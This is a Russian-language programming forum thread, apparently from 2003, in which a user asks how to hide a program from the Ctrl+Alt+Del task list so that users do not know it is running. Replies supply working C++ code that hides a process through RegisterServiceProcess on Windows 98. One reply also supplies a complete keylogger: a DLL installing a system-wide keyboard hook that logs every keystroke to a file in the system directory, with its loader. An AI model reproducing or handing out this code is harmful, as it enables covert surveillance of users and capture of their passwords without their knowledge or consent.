![]() |
|
Модераторы: Daevaorn |
![]()
|
|
| Guest_UVSoft |
|
|||
|
Unregistered |
Привет!
Как сделать "невидимую" программу, чтобы она не была видна при нажатии комбинации трёх клавиш Ctrl+Alt+Del. И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш? Что-то вроде шпиона... Спасибо |
|||
|
||||
| neutrino |
|
|||
![]() Gothic soul ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 3041 Регистрация: 25.3.2002 Где: Верхняя Галилея, Кармиэль Репутация: 1 Всего: 62 |
-------------------- The truth comes from within ... Покойся с миром, Vit |
|||
|
||||
| fk_ |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 43 Регистрация: 30.4.2003 Где: Санкт-Петербург Репутация: нет Всего: нет |
1. На самом деле такие программы называются не "невидмыми" а резидентными.
2. Резидентную программу, чтобы она являлась таковой, нужно убрать не только с "Завершения задачи" но и с панели кнопки пуск и из alt+tab. 3. А чтобы был шпион... хм тут смотря что ты хочешь делать... но обычно это морока с потоками... В общем если нужны подробные разъяснения, то пиши.... Хотя думаю сможешь все найти по своему вопросу и на сайте написаном выше... |
|||
|
||||
| HexoGenus |
|
|||
![]() Шустрый ![]() Профиль Группа: Экс. модератор Сообщений: 110 Регистрация: 28.8.2002 Где: Ростов-на-Дону Репутация: нет Всего: нет |
Мой файлик Project1.cpp после запуска прога не видна в диспечере задач
должно работать в вин98 //--------------------------------------------------------------------------- #include <vcl\vcl.h> #pragma hdrstop //--------------------------------------------------------------------------- USEFORM("Unit1.cpp", Form1); USERES("Project1.res"); typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD); bool RSP(double p1, double p2) { PREGISTERSERVICEPROCESS rsp; HINSTANCE hK32; bool Rc=false; hK32=GetModuleHandle("kernel32.dll"); if(hK32!=NULL) { rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess"); if(rsp!=NULL) { Rc=true; rsp(p1,p2); } FreeLibrary(hK32); } return Rc; } //--------------------------------------------------------------------------- WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { if (!RSP(NULL,1)) return 0; try { Application->Initialize(); Application->CreateForm(__classid(TForm1), &Form1); Application->Run(); } catch (Exception &exception) { Application->ShowException(&exception); } return 0; } //--------------------------------------------------------------------------- --------------------
Когда невозможно уже работать напряженнее, начни работать умнее. |
|||
|
||||
| uvsoft |
|
|||
![]() Шустрый ![]() Профиль Группа: Участник Сообщений: 123 Регистрация: 4.2.2003 Репутация: нет Всего: нет |
Шпионить мне ни за кем не надо... моя программа должна быть невидимой (чтобы юзеры ее не закрыли и даже не знали о ней) и через определённое время выполнять необходимые операции. Заходил на страницу, на которую меня послал:) neutrino, ~~~что-то не дошло... Может кто-нибудь даст ссылку на готовый проэкт C++++Builder?
ЗЫ: У меня в вопросе есть и вторая часть: "И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш?" Огромное СПА-СИ-БО! --------------------
Старый глюк лучше новых двух. |
|||
|
||||
| Step |
|
|||
|
Эксперт ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 5151 Регистрация: 26.9.2002 Где: дурдом.UA Репутация: 5 Всего: 25 |
вообщето это в факю надо искать...
-------------------- - Дурак учится на своих ошибках, умный на чужих. - умные учатся у дураков |
|||
|
||||
| HexoGenus |
|
|||
![]() Шустрый ![]() Профиль Группа: Экс. модератор Сообщений: 110 Регистрация: 28.8.2002 Где: Ростов-на-Дону Репутация: нет Всего: нет |
По поводу второй половины вопроса
Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок) A> Для этого хук должен жить в длл. текст DLL: BOOL kdown=false; HANDLE ghDLLInst = 0; // Handle to the DLL's instance. char logname[MAX_PATH]; char sysdir[MAX_PATH]; DWORD NOfBytes; BOOL shift=false; HANDLE LFile; char buffer[20]; BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot) { ghDLLInst = hModule; switch (dwFunction) { case DLL_PROCESS_ATTACH: { GetSystemDirectory( sysdir, MAX_PATH ); strcpy(logname,sysdir); strcat(logname,"\\kbdkeys.txt"); } case DLL_PROCESS_DETACH: { } default: break; } return TRUE; } //------------------------------------------------ LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { BYTE aa[4]; memcpy(aa,&lParam,4); kdown=!(aa[3]&&64); BYTE scancode=aa[2]; BYTE ww[4]; memcpy(ww,&wParam,4); if (code<0)return CallNextHookEx(NULL,code,wParam,lParam); if(kdown&&(wParam==VK_SHIFT))shift=true; if(!kdown&&(wParam==VK_SHIFT))shift=false; if (kdown&&(wParam!=VK_SHIFT)) { sprintf( buffer ,"%c",wParam ); if(isalpha(ww[0])&(!shift))wParam=wParam+32; sprintf( buffer ,"%c",wParam ); if(wParam==VK_RETURN)strcpy(buffer,"\n"); LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); OVERLAPPED ovlp; DWORD ffsze=GetFileSize(LFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp); CloseHandle(LFile); } return CallNextHookEx(NULL,code,wParam,lParam); } //----------------------------------------------------------------------// текст приложения: #include #include #include int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow); //---------------------------------------------------------------------// BOOL SetHook( BOOL fSet ) { static HHOOK hhkKbdHook = NULL; static HANDLE hmodHook; if (fSet) { if (!hmodHook) { if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл { return FALSE; } } if (!hhkKbdHook) { if (!(hhkKbdHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC) GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0))) { return FALSE; } } } else { if (hhkKbdHook) { UnhookWindowsHookEx(hhkKbdHook); hhkKbdHook = NULL; } } return TRUE; } //--------------------------------------------------------------------// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK); MSG msg; while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return( 0 ); } --------------------
Когда невозможно уже работать напряженнее, начни работать умнее. |
|||
|
||||
| man2002ua |
|
|||
![]() Опытный ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 943 Регистрация: 12.11.2002 Где: Киев Репутация: нет Всего: 2 |
neutrino, статья хорошая, только для оконных приложений его способ не очень-то покатит, я пробовал пустить окошко в контексте чужого потока и просто создавал новый поток в чужом процессе - все работает до появления окна
Потом или твое окно загибается или весь процесс целиком перестает реагировать на нас (Даже если простой messagebox вывести). -------------------- "Нет ничего более постоянного, чем временное" |
|||
|
||||
| uvsoft |
|
|||
![]() Шустрый ![]() Профиль Группа: Участник Сообщений: 123 Регистрация: 4.2.2003 Репутация: нет Всего: нет |
Может проект все-таки дадите? С ним-то разобраться легче...
Это сообщение отредактировал(а) uvsoft - 3.5.2003, 23:15 --------------------
Старый глюк лучше новых двух. |
|||
|
||||
| man2002ua |
|
|||
![]() Опытный ![]() ![]() Профиль Группа: Участник Клуба Сообщений: 943 Регистрация: 12.11.2002 Где: Киев Репутация: нет Всего: 2 |
uvsoft, что конкретно надо и для каких целей?
-------------------- "Нет ничего более постоянного, чем временное" |
|||
|
||||
| HexoGenus |
|
|||
![]() Шустрый ![]() Профиль Группа: Экс. модератор Сообщений: 110 Регистрация: 28.8.2002 Где: Ростов-на-Дону Репутация: нет Всего: нет |
А чем тебя мои примеры не устраивают --------------------
Когда невозможно уже работать напряженнее, начни работать умнее. |
|||
|
||||
| uvsoft |
|
|||
![]() Шустрый ![]() Профиль Группа: Участник Сообщений: 123 Регистрация: 4.2.2003 Репутация: нет Всего: нет |
Ну, понимаешь, я не знаю куда что копировать.... Напиши тогда подробную инструкцию
--------------------
Старый глюк лучше новых двух. |
|||
|
||||
| Guest_visual |
|
|||
|
Unregistered |
Dlea win 98 u menea esti programca catorie tocina rabotaet
void CFindwindowApp::HideTask(BOOL bRegType) { #define RSP_SIMPLE_SERVICE 0x00000001 #define RSP_UNREGISTER_SERVICE 0x00000000 HINSTANCE hInstKernel=NULL; DWORD (__stdcall *pRegisterServiceProcess) (DWORD, DWORD); hInstKernel = LoadLibrary ("KERNEL32.DLL"); if (hInstKernel) { pRegisterServiceProcess = (DWORD (__stdcall *) (DWORD, DWORD)) GetProcAddress (hInstKernel, "RegisterServiceProcess"); if (pRegisterServiceProcess) { if (bRegType) { pRegisterServiceProcess (NULL, RSP_SIMPLE_SERVICE); } else { pRegisterServiceProcess (NULL, RSP_UNREGISTER_SERVICE); } } else MessageBox(0,"Incarcarea Functiei a esuat !!","Eroare",MB_ICONSTOP); FreeLibrary (hInstKernel); } else MessageBox(0,"Incarcarea Dll a esuat !!","Eroare",MB_ICONSTOP); } no ne can ne magu zdelati functiu stobi scril i v 2k winde |
|||
|
||||
![]()
|
| Правила форума "С++:Общие вопросы" | |
|
|
Добро пожаловать!
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | C/C++: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |